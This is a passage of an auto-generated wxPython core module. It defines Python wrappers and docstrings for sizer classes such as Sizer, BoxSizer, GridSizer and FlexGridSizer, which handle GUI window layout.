GetUserData(self) -> PyObject\n\n Returns the userData associated with this sizer item, or None if there\n isn't any.\n \"\"\"\n return _core_.SizerItem_GetUserData(*args, **kwargs)\n\n def SetUserData(*args, **kwargs):\n \"\"\"\n SetUserData(self, PyObject userData)\n\n Associate a Python object with this sizer item.\n \"\"\"\n return _core_.SizerItem_SetUserData(*args, **kwargs)\n\n Border = property(GetBorder,SetBorder,doc=\"See `GetBorder` and `SetBorder`\") \n Flag = property(GetFlag,SetFlag,doc=\"See `GetFlag` and `SetFlag`\") \n MinSize = property(GetMinSize,doc=\"See `GetMinSize`\") \n MinSizeWithBorder = property(GetMinSizeWithBorder,doc=\"See `GetMinSizeWithBorder`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n Proportion = property(GetProportion,SetProportion,doc=\"See `GetProportion` and `SetProportion`\") \n Ratio = property(GetRatio,SetRatio,doc=\"See `GetRatio` and `SetRatio`\") \n Rect = property(GetRect,doc=\"See `GetRect`\") \n Size = property(GetSize,doc=\"See `GetSize`\") \n Sizer = property(GetSizer,SetSizer,doc=\"See `GetSizer` and `SetSizer`\") \n Spacer = property(GetSpacer,SetSpacer,doc=\"See `GetSpacer` and `SetSpacer`\") \n UserData = property(GetUserData,SetUserData,doc=\"See `GetUserData` and `SetUserData`\") \n Window = property(GetWindow,SetWindow,doc=\"See `GetWindow` and `SetWindow`\") \n_core_.SizerItem_swigregister(SizerItem)\n\ndef SizerItemWindow(*args, **kwargs):\n \"\"\"\n SizerItemWindow(Window window, int proportion, int flag, int border, \n PyObject userData=None) -> SizerItem\n\n Constructs a `wx.SizerItem` for tracking a window.\n \"\"\"\n val = _core_.new_SizerItemWindow(*args, **kwargs)\n return val\n\ndef SizerItemSpacer(*args, **kwargs):\n \"\"\"\n SizerItemSpacer(int width, int height, int proportion, int flag, int border, \n PyObject userData=None) -> SizerItem\n\n Constructs a `wx.SizerItem` for tracking a spacer.\n \"\"\"\n val = _core_.new_SizerItemSpacer(*args, **kwargs)\n return val\n\ndef SizerItemSizer(*args, **kwargs):\n \"\"\"\n SizerItemSizer(Sizer sizer, int proportion, int flag, int border, \n PyObject userData=None) -> SizerItem\n\n Constructs a `wx.SizerItem` for tracking a subsizer\n \"\"\"\n val = _core_.new_SizerItemSizer(*args, **kwargs)\n return val\n\nclass Sizer(Object):\n \"\"\"\n wx.Sizer is the abstract base class used for laying out subwindows in\n a window. You cannot use wx.Sizer directly; instead, you will have to\n use one of the sizer classes derived from it such as `wx.BoxSizer`,\n `wx.StaticBoxSizer`, `wx.GridSizer`, `wx.FlexGridSizer` and\n `wx.GridBagSizer`.\n\n The concept implemented by sizers in wxWidgets is closely related to\n layout tools in other GUI toolkits, such as Java's AWT, the GTK\n toolkit or the Qt toolkit. It is based upon the idea of the individual\n subwindows reporting their minimal required size and their ability to\n get stretched if the size of the parent window has changed. This will\n most often mean that the programmer does not set the original size of\n a dialog in the beginning, rather the dialog will assigned a sizer and\n this sizer will be queried about the recommended size. The sizer in\n turn will query its children, which can be normal windows or contorls,\n empty space or other sizers, so that a hierarchy of sizers can be\n constructed. Note that wxSizer does not derive from wxWindow and thus\n do not interfere with tab ordering and requires very little resources\n compared to a real window on screen.\n\n What makes sizers so well fitted for use in wxWidgets is the fact that\n every control reports its own minimal size and the algorithm can\n handle differences in font sizes or different window (dialog item)\n sizes on different platforms without problems. If for example the\n standard font as well as the overall design of Mac widgets requires\n more space than on Windows, then the initial size of a dialog using a\n sizer will automatically be bigger on Mac than on Windows.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_Sizer\n __del__ = lambda self : None;\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self)\"\"\"\n return _core_.Sizer__setOORInfo(*args, **kwargs)\n\n def Add(*args, **kwargs):\n \"\"\"\n Add(self, item, int proportion=0, int flag=0, int border=0,\n PyObject userData=None) -> wx.SizerItem\n\n Appends a child item to the sizer.\n \"\"\"\n return _core_.Sizer_Add(*args, **kwargs)\n\n def AddF(*args, **kwargs):\n \"\"\"\n AddF(self, item, wx.SizerFlags flags) -> wx.SizerItem\n\n Similar to `Add` but uses the `wx.SizerFlags` convenience class for\n setting the various flags, options and borders.\n \"\"\"\n return _core_.Sizer_AddF(*args, **kwargs)\n\n def Insert(*args, **kwargs):\n \"\"\"\n Insert(self, int before, item, int proportion=0, int flag=0, int border=0,\n PyObject userData=None) -> wx.SizerItem\n\n Inserts a new item into the list of items managed by this sizer before\n the item at index *before*. See `Add` for a description of the parameters.\n \"\"\"\n return _core_.Sizer_Insert(*args, **kwargs)\n\n def InsertF(*args, **kwargs):\n \"\"\"\n InsertF(self, int before, item, wx.SizerFlags flags) -> wx.SizerItem\n\n Similar to `Insert`, but uses the `wx.SizerFlags` convenience class\n for setting the various flags, options and borders.\n \"\"\"\n return _core_.Sizer_InsertF(*args, **kwargs)\n\n def Prepend(*args, **kwargs):\n \"\"\"\n Prepend(self, item, int proportion=0, int flag=0, int border=0,\n PyObject userData=None) -> wx.SizerItem\n\n Adds a new item to the begining of the list of sizer items managed by\n this sizer. See `Add` for a description of the parameters.\n \"\"\"\n return _core_.Sizer_Prepend(*args, **kwargs)\n\n def PrependF(*args, **kwargs):\n \"\"\"\n PrependF(self, item, wx.SizerFlags flags) -> wx.SizerItem\n\n Similar to `Prepend` but uses the `wx.SizerFlags` convenience class\n for setting the various flags, options and borders.\n \"\"\"\n return _core_.Sizer_PrependF(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"\n Remove(self, item) -> bool\n\n Removes an item from the sizer and destroys it. This method does not\n cause any layout or resizing to take place, call `Layout` to update\n the layout on screen after removing a child from the sizer. The\n *item* parameter can be either a window, a sizer, or the zero-based\n index of an item to remove. Returns True if the child item was found\n and removed.\n \"\"\"\n return _core_.Sizer_Remove(*args, **kwargs)\n\n def Detach(*args, **kwargs):\n \"\"\"\n Detach(self, item) -> bool\n\n Detaches an item from the sizer without destroying it. This method\n does not cause any layout or resizing to take place, call `Layout` to\n do so. The *item* parameter can be either a window, a sizer, or the\n zero-based index of the item to be detached. Returns True if the child item\n was found and detached.\n \"\"\"\n return _core_.Sizer_Detach(*args, **kwargs)\n\n def GetItem(*args, **kwargs):\n \"\"\"\n GetItem(self, item, recursive=False) -> wx.SizerItem\n\n Returns the `wx.SizerItem` which holds the *item* given. The *item*\n parameter can be either a window, a sizer, or the zero-based index of\n the item to be found.\n \"\"\"\n return _core_.Sizer_GetItem(*args, **kwargs)\n\n def _SetItemMinSize(*args, **kwargs):\n \"\"\"_SetItemMinSize(self, PyObject item, Size size)\"\"\"\n return _core_.Sizer__SetItemMinSize(*args, **kwargs)\n\n def GetItemIndex(self, item):\n \"\"\"\n Returns the index of the given *item* within the sizer. Does not\n search recursivly. The *item* parameter can be either a window\n or a sizer. An assertion is raised if the item is not found in\n the sizer.\n \"\"\"\n sItem = self.GetItem(item)\n assert sItem is not None, \"Item not found in the sizer.\"\n allItems = self.Children\n idx = 0\n for i in allItems:\n if i.this == sItem.this:\n break\n idx += 1\n return idx\n\n def _ReplaceWin(*args, **kwargs):\n \"\"\"_ReplaceWin(self, Window oldwin, Window newwin, bool recursive=False) -> bool\"\"\"\n return _core_.Sizer__ReplaceWin(*args, **kwargs)\n\n def _ReplaceSizer(*args, **kwargs):\n \"\"\"_ReplaceSizer(self, Sizer oldsz, Sizer newsz, bool recursive=False) -> bool\"\"\"\n return _core_.Sizer__ReplaceSizer(*args, **kwargs)\n\n def _ReplaceItem(*args, **kwargs):\n \"\"\"_ReplaceItem(self, size_t index, SizerItem newitem) -> bool\"\"\"\n return _core_.Sizer__ReplaceItem(*args, **kwargs)\n\n def Replace(self, olditem, item, recursive=False):\n \"\"\"\n Detaches the given ``olditem`` from the sizer and replaces it with\n ``item`` which can be a window, sizer, or `wx.SizerItem`. The\n detached child is destroyed only if it is not a window, (because\n windows are owned by their parent, not the sizer.) The\n ``recursive`` parameter can be used to search for the given\n element recursivly in subsizers.\n\n This method does not cause any layout or resizing to take place,\n call `Layout` to do so.\n\n Returns ``True`` if the child item was found and removed.\n \"\"\"\n if isinstance(olditem, wx.Window):\n return self._ReplaceWin(olditem, item, recursive)\n elif isinstance(olditem, wx.Sizer):\n return self._ReplaceSizer(olditem, item, recursive)\n elif isinstance(olditem, int):\n return self._ReplaceItem(olditem, item)\n else:\n raise TypeError(\"Expected Window, Sizer, or integer for first parameter.\")\n\n def SetContainingWindow(*args, **kwargs):\n \"\"\"\n SetContainingWindow(self, Window window)\n\n Set (or unset) the window this sizer is used in.\n \"\"\"\n return _core_.Sizer_SetContainingWindow(*args, **kwargs)\n\n def GetContainingWindow(*args, **kwargs):\n \"\"\"\n GetContainingWindow(self) -> Window\n\n Get the window this sizer is used in.\n \"\"\"\n return _core_.Sizer_GetContainingWindow(*args, **kwargs)\n\n def SetItemMinSize(self, item, *args):\n \"\"\"\n SetItemMinSize(self, item, Size size)\n\n Sets the minimum size that will be allocated for an item in the sizer.\n The *item* parameter can be either a window, a sizer, or the\n zero-based index of the item. If a window or sizer is given then it\n will be searched for recursivly in subsizers if neccessary.\n \"\"\"\n if len(args) == 2:\n # for backward compatibility accept separate width,height args too\n return self._SetItemMinSize(item, args)\n else:\n return self._SetItemMinSize(item, args[0])\n\n def AddItem(*args, **kwargs):\n \"\"\"\n AddItem(self, SizerItem item)\n\n Adds a `wx.SizerItem` to the sizer.\n \"\"\"\n return _core_.Sizer_AddItem(*args, **kwargs)\n\n def InsertItem(*args, **kwargs):\n \"\"\"\n InsertItem(self, int index, SizerItem item)\n\n Inserts a `wx.SizerItem` to the sizer at the position given by *index*.\n \"\"\"\n return _core_.Sizer_InsertItem(*args, **kwargs)\n\n def PrependItem(*args, **kwargs):\n \"\"\"\n PrependItem(self, SizerItem item)\n\n Prepends a `wx.SizerItem` to the sizer.\n \"\"\"\n return _core_.Sizer_PrependItem(*args, **kwargs)\n\n def AddMany(self, items):\n \"\"\"\n AddMany is a convenience method for adding several items\n to a sizer at one time. Simply pass it a list of tuples,\n where each tuple consists of the parameters that you\n would normally pass to the `Add` method.\n \"\"\"\n for item in items:\n if type(item) != type(()) or (len(item) == 2 and type(item[0]) == type(1)):\n item = (item, )\n self.Add(*item)\n\n def AddSpacer(self, *args, **kw):\n \"\"\"AddSpacer(int size) --> SizerItem\n\n Add a spacer that is (size,size) pixels.\n \"\"\"\n if args and type(args[0]) == int:\n return self.Add( (args[0],args[0] ), 0)\n else: # otherwise stay compatible with old AddSpacer\n return self.Add(*args, **kw)\n def PrependSpacer(self, *args, **kw):\n \"\"\"PrependSpacer(int size) --> SizerItem\n\n Prepend a spacer that is (size, size) pixels.\"\"\"\n if args and type(args[0]) == int:\n return self.Prepend( (args[0],args[0] ), 0)\n else: # otherwise stay compatible with old PrependSpacer\n return self.Prepend(*args, **kw)\n def InsertSpacer(self, index, *args, **kw):\n \"\"\"InsertSpacer(int index, int size) --> SizerItem\n\n Insert a spacer at position index that is (size, size) pixels.\"\"\"\n if args and type(args[0]) == int:\n return self.Insert( index, (args[0],args[0] ), 0)\n else: # otherwise stay compatible with old InsertSpacer\n return self.Insert(index, *args, **kw)\n\n \n def AddStretchSpacer(self, prop=1):\n \"\"\"AddStretchSpacer(int prop=1) --> SizerItem\n\n Add a stretchable spacer.\"\"\"\n return self.Add((0,0), prop)\n def PrependStretchSpacer(self, prop=1):\n \"\"\"PrependStretchSpacer(int prop=1) --> SizerItem\n\n Prepend a stretchable spacer.\"\"\"\n return self.Prepend((0,0), prop)\n def InsertStretchSpacer(self, index, prop=1):\n \"\"\"InsertStretchSpacer(int index, int prop=1) --> SizerItem\n\n Insert a stretchable spacer.\"\"\"\n return self.Insert(index, (0,0), prop)\n\n \n # for backwards compatibility only, please do not use in new code\n def AddWindow(self, *args, **kw):\n \"\"\"Compatibility alias for `Add`.\"\"\"\n return self.Add(*args, **kw)\n def AddSizer(self, *args, **kw):\n \"\"\"Compatibility alias for `Add`.\"\"\"\n return self.Add(*args, **kw)\n\n def PrependWindow(self, *args, **kw):\n \"\"\"Compatibility alias for `Prepend`.\"\"\"\n return self.Prepend(*args, **kw)\n def PrependSizer(self, *args, **kw):\n \"\"\"Compatibility alias for `Prepend`.\"\"\"\n return self.Prepend(*args, **kw)\n\n def InsertWindow(self, *args, **kw):\n \"\"\"Compatibility alias for `Insert`.\"\"\"\n return self.Insert(*args, **kw)\n def InsertSizer(self, *args, **kw):\n \"\"\"Compatibility alias for `Insert`.\"\"\"\n return self.Insert(*args, **kw)\n\n def RemoveWindow(self, *args, **kw):\n \"\"\"Compatibility alias for `Remove`.\"\"\"\n return self.Remove(*args, **kw)\n def RemoveSizer(self, *args, **kw):\n \"\"\"Compatibility alias for `Remove`.\"\"\"\n return self.Remove(*args, **kw)\n def RemovePos(self, *args, **kw):\n \"\"\"Compatibility alias for `Remove`.\"\"\"\n return self.Remove(*args, **kw)\n\n\n def SetDimension(*args, **kwargs):\n \"\"\"\n SetDimension(self, int x, int y, int width, int height)\n\n Call this to force the sizer to take the given dimension and thus\n force the items owned by the sizer to resize themselves according to\n the rules defined by the parameter in the `Add`, `Insert` or `Prepend`\n methods.\n \"\"\"\n return _core_.Sizer_SetDimension(*args, **kwargs)\n\n def SetMinSize(*args, **kwargs):\n \"\"\"\n SetMinSize(self, Size size)\n\n Call this to give the sizer a minimal size. Normally, the sizer will\n calculate its minimal size based purely on how much space its children\n need. After calling this method `GetMinSize` will return either the\n minimal size as requested by its children or the minimal size set\n here, depending on which is bigger.\n \"\"\"\n return _core_.Sizer_SetMinSize(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"\n GetSize(self) -> Size\n\n Returns the current size of the space managed by the sizer.\n \"\"\"\n return _core_.Sizer_GetSize(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the current position of the sizer's managed space.\n \"\"\"\n return _core_.Sizer_GetPosition(*args, **kwargs)\n\n def GetMinSize(*args, **kwargs):\n \"\"\"\n GetMinSize(self) -> Size\n\n Returns the minimal size of the sizer. This is either the combined\n minimal size of all the children and their borders or the minimal size\n set by SetMinSize, depending on which is bigger.\n \"\"\"\n return _core_.Sizer_GetMinSize(*args, **kwargs)\n\n def GetSizeTuple(self):\n return self.GetSize().Get()\n def GetPositionTuple(self):\n return self.GetPosition().Get()\n def GetMinSizeTuple(self):\n return self.GetMinSize().Get()\n\n def RecalcSizes(*args, **kwargs):\n \"\"\"\n RecalcSizes(self)\n\n Using the sizes calculated by `CalcMin` reposition and resize all the\n items managed by this sizer. You should not need to call this directly as\n it is called by `Layout`.\n \"\"\"\n return _core_.Sizer_RecalcSizes(*args, **kwargs)\n\n def CalcMin(*args, **kwargs):\n \"\"\"\n CalcMin(self) -> Size\n\n This method is where the sizer will do the actual calculation of its\n children's minimal sizes. You should not need to call this directly as\n it is called by `Layout`.\n \"\"\"\n return _core_.Sizer_CalcMin(*args, **kwargs)\n\n def Layout(*args, **kwargs):\n \"\"\"\n Layout(self)\n\n This method will force the recalculation and layout of the items\n controlled by the sizer using the current space allocated to the\n sizer. Normally this is called automatically from the owning window's\n EVT_SIZE handler, but it is also useful to call it from user code when\n one of the items in a sizer change size, or items are added or\n removed.\n \"\"\"\n return _core_.Sizer_Layout(*args, **kwargs)\n\n def ComputeFittingClientSize(*args, **kwargs):\n \"\"\"ComputeFittingClientSize(self, Window window) -> Size\"\"\"\n return _core_.Sizer_ComputeFittingClientSize(*args, **kwargs)\n\n def ComputeFittingWindowSize(*args, **kwargs):\n \"\"\"ComputeFittingWindowSize(self, Window window) -> Size\"\"\"\n return _core_.Sizer_ComputeFittingWindowSize(*args, **kwargs)\n\n def Fit(*args, **kwargs):\n \"\"\"\n Fit(self, Window window) -> Size\n\n Tell the sizer to resize the *window* to match the sizer's minimal\n size. This is commonly done in the constructor of the window itself in\n order to set its initial size to match the needs of the children as\n determined by the sizer. Returns the new size.\n\n For a top level window this is the total window size, not the client size.\n \"\"\"\n return _core_.Sizer_Fit(*args, **kwargs)\n\n def FitInside(*args, **kwargs):\n \"\"\"\n FitInside(self, Window window)\n\n Tell the sizer to resize the *virtual size* of the *window* to match the\n sizer's minimal size. This will not alter the on screen size of the\n window, but may cause the addition/removal/alteration of scrollbars\n required to view the virtual area in windows which manage it.\n\n :see: `wx.ScrolledWindow.SetScrollbars`, `SetVirtualSizeHints`\n\n \"\"\"\n return _core_.Sizer_FitInside(*args, **kwargs)\n\n def SetSizeHints(*args, **kwargs):\n \"\"\"\n SetSizeHints(self, Window window)\n\n Tell the sizer to set (and `Fit`) the minimal size of the *window* to\n match the sizer's minimal size. This is commonly done in the\n constructor of the window itself if the window is resizable (as are\n many dialogs under Unix and frames on probably all platforms) in order\n to prevent the window from being sized smaller than the minimal size\n required by the sizer.\n \"\"\"\n return _core_.Sizer_SetSizeHints(*args, **kwargs)\n\n def SetVirtualSizeHints(*args, **kwargs):\n \"\"\"\n SetVirtualSizeHints(self, Window window)\n\n Tell the sizer to set the minimal size of the window virtual area to\n match the sizer's minimal size. For windows with managed scrollbars\n this will set them appropriately.\n\n :see: `wx.ScrolledWindow.SetScrollbars`\n\n \"\"\"\n return _core_.Sizer_SetVirtualSizeHints(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"\n Clear(self, bool deleteWindows=False)\n\n Clear all items from the sizer, optionally destroying the window items\n as well.\n \"\"\"\n return _core_.Sizer_Clear(*args, **kwargs)\n\n def DeleteWindows(*args, **kwargs):\n \"\"\"\n DeleteWindows(self)\n\n Destroy all windows managed by the sizer.\n \"\"\"\n return _core_.Sizer_DeleteWindows(*args, **kwargs)\n\n def GetChildren(*args, **kwargs):\n \"\"\"\n GetChildren(self) -> SizerItemList\n\n Returns all of the `wx.SizerItem` objects managed by the sizer in a\n list-like object.\n \"\"\"\n return _core_.Sizer_GetChildren(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"\n Show(self, item, bool show=True, bool recursive=false) -> bool\n\n Shows or hides an item managed by the sizer. To make a sizer item\n disappear or reappear, use Show followed by `Layout`. The *item*\n parameter can be either a window, a sizer, or the zero-based index of\n the item. Use the recursive parameter to show or hide an item in a\n subsizer. Returns True if the item was found.\n \"\"\"\n return _core_.Sizer_Show(*args, **kwargs)\n\n def IsShown(*args, **kwargs):\n \"\"\"\n IsShown(self, item)\n\n Determines if the item is currently shown. To make a sizer\n item disappear or reappear, use Show followed by `Layout`. The *item*\n parameter can be either a window, a sizer, or the zero-based index of\n the item.\n \"\"\"\n return _core_.Sizer_IsShown(*args, **kwargs)\n\n def Hide(self, item, recursive=False):\n \"\"\"\n A convenience method for `Show` (item, False, recursive).\n \"\"\"\n return self.Show(item, False, recursive)\n\n def ShowItems(*args, **kwargs):\n \"\"\"\n ShowItems(self, bool show)\n\n Recursively call `wx.SizerItem.Show` on all sizer items.\n \"\"\"\n return _core_.Sizer_ShowItems(*args, **kwargs)\n\n Children = property(GetChildren,doc=\"See `GetChildren`\") \n ContainingWindow = property(GetContainingWindow,SetContainingWindow,doc=\"See `GetContainingWindow` and `SetContainingWindow`\") \n MinSize = property(GetMinSize,SetMinSize,doc=\"See `GetMinSize` and `SetMinSize`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n Size = property(GetSize,doc=\"See `GetSize`\") \n_core_.Sizer_swigregister(Sizer)\n\nclass PySizer(Sizer):\n \"\"\"\n wx.PySizer is a special version of `wx.Sizer` that has been\n instrumented to allow the C++ virtual methods to be overloaded in\n Python derived classes. You would derive from this class if you are\n wanting to implement a custom sizer in Python code. Simply implement\n `CalcMin` and `RecalcSizes` in the derived class and you're all set.\n For example::\n\n class MySizer(wx.PySizer):\n def __init__(self):\n wx.PySizer.__init__(self)\n\n def CalcMin(self):\n for item in self.GetChildren():\n # calculate the total minimum width and height needed\n # by all items in the sizer according to this sizer's\n # layout algorithm.\n ...\n return wx.Size(width, height)\n\n def RecalcSizes(self):\n # find the space allotted to this sizer\n pos = self.GetPosition()\n size = self.GetSize()\n for item in self.GetChildren():\n # Recalculate (if necessary) the position and size of\n # each item and then call item.SetDimension to do the\n # actual positioning and sizing of the items within the\n # space alloted to this sizer.\n ...\n item.SetDimension(itemPos, itemSize)\n\n\n When `Layout` is called it first calls `CalcMin` followed by\n `RecalcSizes` so you can optimize a bit by saving the results of\n `CalcMin` and reusing them in `RecalcSizes`.\n\n :see: `wx.SizerItem`, `wx.Sizer.GetChildren`\n\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PySizer\n\n Creates a wx.PySizer. Must be called from the __init__ in the derived\n class.\n \"\"\"\n _core_.PySizer_swiginit(self,_core_.new_PySizer(*args, **kwargs))\n self._setOORInfo(self);PySizer._setCallbackInfo(self, self, PySizer)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _core_.PySizer__setCallbackInfo(*args, **kwargs)\n\n_core_.PySizer_swigregister(PySizer)\n\n#---------------------------------------------------------------------------\n\nclass BoxSizer(Sizer):\n \"\"\"\n The basic idea behind a box sizer is that windows will most often be\n laid out in rather simple basic geometry, typically in a row or a\n column or nested hierarchies of either. A wx.BoxSizer will lay out\n its items in a simple row or column, depending on the orientation\n parameter passed to the constructor.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int orient=HORIZONTAL) -> BoxSizer\n\n Constructor for a wx.BoxSizer. *orient* may be one of ``wx.VERTICAL``\n or ``wx.HORIZONTAL`` for creating either a column sizer or a row\n sizer.\n \"\"\"\n _core_.BoxSizer_swiginit(self,_core_.new_BoxSizer(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetOrientation(*args, **kwargs):\n \"\"\"\n GetOrientation(self) -> int\n\n Returns the current orientation of the sizer.\n \"\"\"\n return _core_.BoxSizer_GetOrientation(*args, **kwargs)\n\n def SetOrientation(*args, **kwargs):\n \"\"\"\n SetOrientation(self, int orient)\n\n Resets the orientation of the sizer.\n \"\"\"\n return _core_.BoxSizer_SetOrientation(*args, **kwargs)\n\n Orientation = property(GetOrientation,SetOrientation,doc=\"See `GetOrientation` and `SetOrientation`\") \n_core_.BoxSizer_swigregister(BoxSizer)\n\n#---------------------------------------------------------------------------\n\nclass StaticBoxSizer(BoxSizer):\n \"\"\"\n wx.StaticBoxSizer derives from and functions identically to the\n `wx.BoxSizer` and adds a `wx.StaticBox` around the items that the sizer\n manages. Note that this static box must be created separately and\n passed to the sizer constructor.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, StaticBox box, int orient=HORIZONTAL) -> StaticBoxSizer\n\n Constructor. It takes an associated static box and the orientation\n *orient* as parameters - orient can be either of ``wx.VERTICAL`` or\n ``wx.HORIZONTAL``.\n \"\"\"\n _core_.StaticBoxSizer_swiginit(self,_core_.new_StaticBoxSizer(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetStaticBox(*args, **kwargs):\n \"\"\"\n GetStaticBox(self) -> StaticBox\n\n Returns the static box associated with this sizer.\n \"\"\"\n return _core_.StaticBoxSizer_GetStaticBox(*args, **kwargs)\n\n StaticBox = property(GetStaticBox,doc=\"See `GetStaticBox`\") \n_core_.StaticBoxSizer_swigregister(StaticBoxSizer)\n\n#---------------------------------------------------------------------------\n\nclass GridSizer(Sizer):\n \"\"\"\n A grid sizer is a sizer which lays out its children in a\n two-dimensional table with all cells having the same size. In other\n words, the width of each cell within the grid is the width of the\n widest item added to the sizer and the height of each grid cell is the\n height of the tallest item. An optional vertical and/or horizontal\n gap between items can also be specified (in pixels.)\n\n Items are placed in the cells of the grid in the order they are added,\n in row-major order. In other words, the first row is filled first,\n then the second, and so on until all items have been added. (If\n neccessary, additional rows will be added as items are added.) If you\n need to have greater control over the cells that items are placed in\n then use the `wx.GridBagSizer`.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int rows=1, int cols=0, int vgap=0, int hgap=0) -> GridSizer\n\n Constructor for a wx.GridSizer. *rows* and *cols* determine the number\n of columns and rows in the sizer - if either of the parameters is\n zero, it will be calculated to from the total number of children in\n the sizer, thus making the sizer grow dynamically. *vgap* and *hgap*\n define extra space between all children.\n \"\"\"\n _core_.GridSizer_swiginit(self,_core_.new_GridSizer(*args, **kwargs))\n self._setOORInfo(self)\n\n def SetCols(*args, **kwargs):\n \"\"\"\n SetCols(self, int cols)\n\n Sets the number of columns in the sizer.\n \"\"\"\n return _core_.GridSizer_SetCols(*args, **kwargs)\n\n def SetRows(*args, **kwargs):\n \"\"\"\n SetRows(self, int rows)\n\n Sets the number of rows in the sizer.\n \"\"\"\n return _core_.GridSizer_SetRows(*args, **kwargs)\n\n def SetVGap(*args, **kwargs):\n \"\"\"\n SetVGap(self, int gap)\n\n Sets the vertical gap (in pixels) between the cells in the sizer.\n \"\"\"\n return _core_.GridSizer_SetVGap(*args, **kwargs)\n\n def SetHGap(*args, **kwargs):\n \"\"\"\n SetHGap(self, int gap)\n\n Sets the horizontal gap (in pixels) between cells in the sizer\n \"\"\"\n return _core_.GridSizer_SetHGap(*args, **kwargs)\n\n def GetCols(*args, **kwargs):\n \"\"\"\n GetCols(self) -> int\n\n Returns the number of columns in the sizer.\n \"\"\"\n return _core_.GridSizer_GetCols(*args, **kwargs)\n\n def GetRows(*args, **kwargs):\n \"\"\"\n GetRows(self) -> int\n\n Returns the number of rows in the sizer.\n \"\"\"\n return _core_.GridSizer_GetRows(*args, **kwargs)\n\n def GetVGap(*args, **kwargs):\n \"\"\"\n GetVGap(self) -> int\n\n Returns the vertical gap (in pixels) between the cells in the sizer.\n \"\"\"\n return _core_.GridSizer_GetVGap(*args, **kwargs)\n\n def GetHGap(*args, **kwargs):\n \"\"\"\n GetHGap(self) -> int\n\n Returns the horizontal gap (in pixels) between cells in the sizer.\n \"\"\"\n return _core_.GridSizer_GetHGap(*args, **kwargs)\n\n def CalcRowsCols(self):\n \"\"\"\n CalcRowsCols() -> (rows, cols)\n\n Calculates how many rows and columns will be in the sizer based\n on the current number of items and also the rows, cols specified\n in the constructor.\n \"\"\"\n nitems = len(self.GetChildren())\n rows = self.GetRows()\n cols = self.GetCols()\n assert rows != 0 or cols != 0, \"Grid sizer must have either rows or columns fixed\"\n if cols != 0:\n rows = (nitems + cols - 1) / cols\n elif rows != 0:\n cols = (nitems + rows - 1) / rows\n return (rows, cols)\n\n Cols = property(GetCols,SetCols,doc=\"See `GetCols` and `SetCols`\") \n HGap = property(GetHGap,SetHGap,doc=\"See `GetHGap` and `SetHGap`\") \n Rows = property(GetRows,SetRows,doc=\"See `GetRows` and `SetRows`\") \n VGap = property(GetVGap,SetVGap,doc=\"See `GetVGap` and `SetVGap`\") \n_core_.GridSizer_swigregister(GridSizer)\n\n#---------------------------------------------------------------------------\n\nFLEX_GROWMODE_NONE = _core_.FLEX_GROWMODE_NONE\nFLEX_GROWMODE_SPECIFIED = _core_.FLEX_GROWMODE_SPECIFIED\nFLEX_GROWMODE_ALL = _core_.FLEX_GROWMODE_ALL\nclass FlexGridSizer(GridSizer):\n \"\"\"\n A flex grid sizer is a sizer which lays out its children in a\n two-dimensional table with all table cells in one row having the same\n height and all cells in one column having the same width, but all\n rows or all columns are not necessarily the same height or width as in\n the `wx.GridSizer`.\n\n wx.FlexGridSizer can also size items equally in one direction but\n unequally (\"flexibly\") in the other. If the sizer is only flexible\n in one direction (this can be changed using `SetFlexibleDirection`), it\n needs to be decided how the sizer should grow in the other (\"non\n flexible\") direction in order to fill the available space. The\n `SetNonFlexibleGrowMode` method serves this purpose.\n\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int rows=1, int cols=0, int vgap=0, int hgap=0) -> FlexGridSizer\n\n Constructor for a wx.FlexGridSizer. *rows* and *cols* determine the\n number of columns and rows in the sizer - if either of the parameters\n is zero, it will be calculated to from the total number of children in\n the sizer, thus making the sizer grow dynamically. *vgap* and *hgap*\n define extra space between all children.\n \"\"\"\n _core_.FlexGridSizer_swiginit(self,_core_.new_FlexGridSizer(*args, **kwargs))\n self._setOORInfo(self)\n\n def AddGrowableRow(*args, **kwargs):\n \"\"\"\n AddGrowableRow(self, size_t idx, int proportion=0)\n\n Specifies that row *idx* (starting from zero) should be grown if there\n is extra space available to the sizer.\n\n The *proportion* parameter has the same meaning as the stretch factor\n for the box sizers except that if all proportions are 0, then all\n columns are resized equally (instead of not being resized at all).\n \"\"\"\n return _core_.FlexGridSizer_AddGrowableRow(*args, **kwargs)\n\n def RemoveGrowableRow(*args, **kwargs):\n \"\"\"\n RemoveGrowableRow(self, size_t idx)\n\n Specifies that row *idx* is no longer growable.\n \"\"\"\n return _core_.FlexGridSizer_RemoveGrowableRow(*args, **kwargs)\n\n def AddGrowableCol(*args, **kwargs):\n \"\"\"\n AddGrowableCol(self, size_t idx, int proportion=0)\n\n Specifies that column *idx* (starting from zero) should be grown if\n there is extra space available to the 